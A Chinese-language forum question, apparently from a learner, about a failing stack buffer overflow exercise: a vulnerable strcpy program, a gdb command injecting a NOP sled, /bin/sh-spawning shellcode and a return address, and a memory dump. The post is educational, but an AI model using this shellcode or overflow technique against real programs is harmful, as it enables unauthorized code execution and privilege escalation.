我正在学习缓冲区溢出的工作原理,并尝试了一些基本的缓冲区溢出案例,但在更改返回地址时出现错误。返回地址是正确的,并且该内存中的操作也正确,但我的问题是 rip(指令指针)不会移动到该地址。
我的简单程序代码:
int main(int argc, char **argv){
char str[256];
strcpy(str, argv[1]);
printf("%s\n", str);
return 0;
}
首先我在 gdb 中搜索我的“str”地址,然后我找到了它,0x7fffffffe0d0
返回地址位于,0x7fffffffe1d8
所以我有 264 个可用空间来输入 NOP 和 shellcode。但是在我编译它之后,gcc 仍然给我分段错误,当我调试它时,gdb 问我0x00007fffffffe110 in ?? ()
返回地址与我写的语法相同,我想移动到那个地址,因为那个内存仍然包含 NOP,我坚持指令指针会指向 shellcode。有人可以帮我解决我的问题。
我在 gdb 中的语法:
run $(python -c 'print "\x90" * 218 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x10\xe1\xff\xff\xff\x7f"')
0x7fffffffe0d0: 0x9090909090909090 0x9090909090909090
0x7fffffffe0e0: 0x9090909090909090 0x9090909090909090
0x7fffffffe0f0: 0x9090909090909090 0x9090909090909090
0x7fffffffe100: 0x9090909090909090 0x9090909090909090
0x7fffffffe110: 0x9090909090909090 0x9090909090909090
0x7fffffffe120: 0x9090909090909090 0x9090909090909090
0x7fffffffe130: 0x9090909090909090 0x9090909090909090
0x7fffffffe140: 0x9090909090909090 0x9090909090909090
0x7fffffffe150: 0x9090909090909090 0x9090909090909090
0x7fffffffe160: 0x9090909090909090 0x9090909090909090
0x7fffffffe170: 0x9090909090909090 0x9090909090909090
0x7fffffffe180: 0x9090909090909090 0x9090909090909090
0x7fffffffe190: 0x9090909090909090 0x9090909090909090
0x7fffffffe1a0: 0x9090909090909090 0xdb3146b0c0319090
0x7fffffffe1b0: 0x315b16eb80cdc931 0x89085b89074388c0
0x7fffffffe1c0: 0x8d084b8d0bb00c43 0xffffe5e880cd0c53
0x7fffffffe1d0: 0x68732f6e69622fff 0x00007fffffffe110
谢谢 !!